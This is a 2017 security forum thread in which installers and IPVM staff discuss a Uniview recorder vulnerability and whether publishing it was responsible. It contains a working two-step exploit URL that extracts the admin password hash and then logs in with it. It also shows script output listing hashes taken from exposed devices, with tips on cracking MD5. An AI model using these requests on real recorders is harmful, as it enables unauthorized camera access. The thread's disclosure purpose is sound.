Uniview Recorder Backdoor Examined

IPVM testing of publicly available units (via Shodan) showed the vulnerability affected all Uniview recorders tested.

As a direct wholesaler of Uniview products, this is of great concern. Once I read this article, I had my operations manager as well as the tech department run some tests to see if the branded Uniview recorders that we sell were vulnerable. We have not been able to replicate this vulnerability. Can I assume that the only models vulnerable are the OEMs for Samsung?

Reactions:

(1)

Brian Karas

IPVM

Rich -

What did you do for a test? When you say you could not replicate it, what happened?

Uniview themselves confirmed this affects more than just the Samsung OEMs, but as stated in the report, did not clarify specific models affected.

If you can share your test/validation process and model/firmware it might help others in determining which units are vulnerable or not.

Reactions:

(1)

Brian Karas

IPVM

I just pulled a few pages of IPs from the Shodan search and ran a quick test to see which units would respond to the initial request that attempts to read the hashed password, eg:

http://ip.add.re.ss:PORT/cgi-bin/main-cgi?json={"cmd":201,"szUserName_Qry":"admin","szUserName":"","u32UserLoginHandle":0}

Reading this file is the core part of the vulnerability (if you cannot get the hashed password form the unit, you cannot exploit it with this method).

All but one of the IPs I tried gave me a response I was able to extract a password hash from - sample below:

BRK-Air-46:PerlStuff brk$ ./UNVTest.pl
Testing...
Found password:
"szLoginPasswd": "e10adc3949ba59abbe56e057f20f883e"
Testing...
Found password:
"szLoginPasswd": "33d130f7ed0c7998b41e37d46a4d5d14"
Testing...
Could not get password hash.
Testing...
Found password:
"szLoginPasswd": "33d130f7ed0c7998b41e37d46a4d5d14"
Testing...
Found password:
"szLoginPasswd": "aca257be08c76a57e2a4a721d9af85e3"
Testing...
Found password:
"szLoginPasswd": "33d130f7ed0c7998b41e37d46a4d5d14"
Testing...
Found password:
"szLoginPasswd": "e10adc3949ba59abbe56e057f20f883e"
Testing...
Found password:
"szLoginPasswd": "770c13cf6390d7877c11fcdfb3659100"
Testing...
Found password:
"szLoginPasswd": "7ca595ec2cb9a52462baf8a50e5c9aa6"
Testing...
Found password:
"szLoginPasswd": "c4c19a1769c8630b5c53127c75d46221"
Testing...
Found password:
"szLoginPasswd": "7ca595ec2cb9a52462baf8a50e5c9aa6"
Testing...
Found password:
"szLoginPasswd": "c4c19a1769c8630b5c53127c75d46221"

I would be curious what your model # and firmware build are if you cannot get the password hash back from the device.

Reactions:

(1)

Rich Moore

My lead tech is going through each and every model right now to include the older 200 series models. I will get back with you.

Reactions:

Undisclosed Manufacturer #4

Found password:
"szLoginPasswd": "e10adc3949ba59abbe56e057f20f883e"

If you get a hash, google it, as there are websites containing reverse lookup tables for hashes of common passwords with different hashing algorithms. For instance, googling "e10adc3949ba59abbe56e057f20f883e" from Brian's list above, will give you "123456" (hashed using md5) which is probably the user password.

So it looks like they are just storing md5 hashes of the password. They should be using salted hashes at a minimum.

Reactions:

(1)

Brian Karas

In reply to Undisclosed Manufacturer #4

IPVM

Yes, good point. I debated getting into using rainbow tables to try and just crack the hashes without even messing with POST manipulations but decided to keep it more brief. But if the user has a weak password this creates even more risk/ease of exploit.

Reactions:

(1)

Undisclosed Manufacturer #4

Agreed, it's more a sign of amateurism than part of the actual exploit. It's the reason I use different passwords for every product, website etc unless I really trust the company to store the passwords correctly. Otherwise one account gets hacked and they have your credentials for everything.

Reactions:

Rich Moore

•Oct 23, 2017

I've tried sending my techs findings since Friday and it will not post.

Reactions:

Brian Karas

•Oct 23, 2017

IPVM

You can email it to me: bkaras@ipvm.com

Reactions:

Sean Nelson

•Oct 23, 2017

Nelly's Security

eager to see the findings

Reactions:

(1)

Undisclosed #1

IPVMU Certified

IPVM testing of publicly available units (via Shodan) showed the vulnerability affected all Uniview recorders tested.

What was the test?

Reactions:

(1)

Paul Shah

Is there a list of other Uniview OEMs?

Reactions:

Undisclosed Manufacturer #3

In reply to Paul Shah

easterncctv, Revo and DH-Vision.

Reactions:

Rich Moore

In reply to Undisclosed Manufacturer #3

Here is a link to Uniview's website which shows who are their direct wholesalers in America. We do not OEM at this time, we only sell branded Uniview products. The question was who sells OEM Uniview:

http://en.uniview.com/About_Us/Partner/Partners/North_America/

Reactions:

Undisclosed End User #2

The most interesting part in the whole request is that 'szUserName' is NULL, and the request do query for "admin".

http://ip.add.re.ss:PORT/cgi-bin/main-cgi?json={"cmd":201,"szUserName_Qry":"admin","szUserName":"","u32UserLoginHandle":0}

I wonder how 'user' NULL can fall thru the authentication mechanism by 'mistake' and then be able to pull off sensitive data with admin privileges...

Reactions:

(3)

Jay Hobdy

IPVMU Certified

How hard is it to find these back doors? Or if you are a programmer, how hard is it to know this is a flaw? How preventable is this?

Here's the thing. My sub-division has a Facebook page. Once in a while we hear of people waking up and their cars being gone through. When I hear my neighbor Dale got robbed, I make sure I lock my car. When my neighbor Hilda gets robbed, I double down, check all the doors on my car, lock the house, and ensure my cameras are working.

I just can't imagine how a 3rd Chinese company could have these issues.

Reactions:

(1)

Undisclosed Manufacturer #4

In reply to Jay Hobdy

Or if you are a programmer, how hard is it to know this is a flaw? How preventable is this?

In my experience, it is partly programmers to blame, and partly management.

At some point a developer needs to study what is required to write secure code, e.g. reading a book such as this one. If they don't they are likely to invent their own solutions, make common mistakes etc. In our industry, any insecure code a developer writes is likely to go straight to the customer i.e. testing departments won't pick it up, that's for sure, it is a specialized type of testing skill that they don't have.

It can take a developer weeks to make a product resistant to hacking during which nothing they do translates into any visible features. So to some managers, it can look like they are not getting any work done during this time. If they want praise, they tend to work on features that sales people, managers, end users can actually see and touch. Likewise, managers are under pressure from sales people, CEOs etc and it is often security that gets lowest priority in favor of features that can be listed as bullet points on marketing brochures.

So if you buy a software product where security is important, you hope it was written by a conscientious developer, or that the company knows about the problem and deals with it at a management level.

Reactions:

(3)

Undisclosed Distributor #6

In reply to Undisclosed Manufacturer #4

I totaly agree, and to make matters worse the engines / code writers and management all move around between companies on a regular basis.

So a mistake at one manufacture is replicated at another until It is discovered

Reactions:

(1)

Undisclosed End User #2

How hard is it to find these back doors?

Not so easy, you will need to spend some time reading and try to understand the code

Or if you are a programmer, how hard is it to know this is a flaw?

Dahua, Hikvision and now Uniview - these are no flaws, this is way too easy to exploit and way too portable to be 'flaws'

How preventable is this?

Question you should ask the manufacture who put it in there

I just can't imagine how a 3rd Chinese company could have these issues.

Unfortunately, I think you will need to get used to this for a while....

Reactions:

bashis mcw

Just for fun I did some research too (as I'm curios), and I actually don't think anymore it's a backdoor, it's worse than that - they have absolutely no security whatsoever.

All OS calls are done purely with 'system()', and no sanitation whatsoever of user provided input, which gives full remote code execution (RCE) with some functions.

I thought Dahua was horrible, but Uniview passed down to absolutely bottom.

Reactions:

(1)

(4)

(2)

Undisclosed #1

IPVMU Certified

In reply to bashis mcw

I thought Dahua was horrible, but Uniview passed down to absolutely bottom.

You must not be familiar with Xiongmai...

Reactions:

(1)

bashis mcw

In reply to Undisclosed #1

Actually been checking XM too, question I have there is who forked who.

Did Dahua fork XM, or did XM fork Dahua? (Personally I believe Dahua forked XM once)

Dahua didn't invent the 48bit hash, XM did.

Edit:

Proof for that you can find with this research: https://github.com/tothi/pwn-hisilicon-dvr

Reactions:

Undisclosed #1

IPVMU Certified

In reply to bashis mcw

Actually been checking XM too, question I have there is who forked who.

Basically, Dahua "forked" everyone ;)

Reactions:

(1)

Undisclosed Manufacturer #4

In reply to Undisclosed #1

I thought Dahua was horrible, but Uniview passed down to absolutely bottom.

I suspect there's still a lot of others out there. About 1 year ago, I encountered a camera that completely ignored the username and password when connecting via RTSP. I told them about the problem, they denied it, I persisted and they eventually agreed to fix it. They didn't seemed overly concerned about the problem at all.

Reactions:

(1)

bashis mcw

•Oct 26, 2017

In reply to bashis mcw

By the way, the findings has been reported back to both the Chinese security researchers and also hanwha security, who reached out to the Chinese security researches on their github. I'm sure they are already aware, but did that just in case they might not been.

Reactions:

Undisclosed Manufacturer #5

Now we see how badly the security is taken with the top 3 Chinese manufacturers.

So is anyone going to guess who's next to be published?

Would it be safe to say where most other development in China copy in some part from one the big 3, it's a fair bet there are 100 or more less secure devices sitting all over the place.

Maybe they should go ask Tencent a local company, who has it's own cyber security division, for a few RMB I bet they could tidy a lot of security issues.

Reactions:

Brian Karas

IPVM

Some people have commented they were having issues with the PostMan approach, which can be a bit awkward if you are not used to dealing with it. I spent a little time trying some other things, and realized you can do this all from the browser URL bar without anything fancy.

Two steps to test/exploit:

1) Get the admin password hash: http://ip.add.re.ss:PORT/cgi-bin/main-cgi?json={"cmd":201,"szUserName_Qry":"admin","szUserName":"","u32UserLoginHandle":0}

2) Use it to login to a Uniview recorder: http://ip.add.re.ss:PORT/cgi-bin/main-cgi?lLan=0&szUserName=admin&szUserPasswd=PUT_THE_HASH_VALUE_HERE

Much easier/faster. I just verified this worked on a few random Shodan results.

Reactions:

(2)

Undisclosed Distributor #7

[IPVM Note: Poster is a Uniview Partner.]

Should this be posted as it is an EXPLICIT instruction on how to perform an illegal act by accessing other people's electronic devices without permission???

Reactions:

(2)

Sean Nelson

Nelly's Security

I was also curious on this as well. I also said "hmmm" in my mind in Brian said he tried it on some Shodan results.

Reactions:

(1)

Undisclosed Distributor #7

In reply to Sean Nelson

[IPVM Note: Poster is a Uniview Partner.]

So, technically Brian has admittedly broken the law.

Reactions:

(3)

(1)

Undisclosed #1

IPVMU Certified

Not exactly, step #1 checking whether the URL exists could be done legally, and indicates whether the vulnerability is found.

step #2 is not necessary.

Some discussion of this here: Should I Hack 10,000 Dahua Cameras?

Reactions:

Brian Karas

IPVM

What we posted is effectively the same information as what is contained in the publicly available CVE.

The purpose of this report is to allow members who may use, sell, install, or service Uniview equipment to determine if their systems are vulnerable so that they can act appropriately to patch or secure them.

We are certainly not recommending that people use this info for any kind of illicit purposes.

Reactions:

Undisclosed Distributor #7

I respect your reporting of an important security flaw, but do you really think that it's beneficial and responsible to provide a cut-and-pasteable (sp?) example on how to exploit this? While I'm sure most people here will use this in the manner in which it was intended, what happens when it falls into the wrong hands and people start logging in to units around the world illegally because you provided them the means to do so? While this may be effectively the same information available to the public via CVE, you have taken it to a well-read, semi-public site and simplified it so that anyone can use it within 30 seconds.

Reactions:

Brian Karas

IPVM

I understand your concern, however I do not believe we have enabled the kinds of people who would want to use this vulnerability (or others we have similarly covered for other companies) with any knowledge they could not already easily figure out on their own. This is an extremely simple exploit, even in the first example shown. The core concept, passing back expected values in an HTTP POST, is almost as simple as it gets (the only one even less complex was Hikvision's Magic String Backdoor).

The flip side of this is that it has already been shown by some manufacturers that if we do not make it explicitly clear how easy some of these exploits are, how many systems are online, and the capabilities they expose to hackers that they will be spun as less risky than they really are. Or, people look at it and think "that won't happen to me, it takes too much effort to really pull off."

Reactions:

(2)

Brian Karas

•Nov 07, 2017

IPVM

[UPDATE]

Uniview has begun releasing updated firmware for this vulnerability. According to the company, the easiest way to check/upgrade is to use the recorder's built-in cloud upgrade check. From Setup->Maintenance there should be a "Check" button to check for new firmware:

Clicking the "Check" button will cause the recorder to check for updated firmware and provide the option to upgrade:

Reactions:

(1)

Sean Nelson

•Nov 07, 2017

Nelly's Security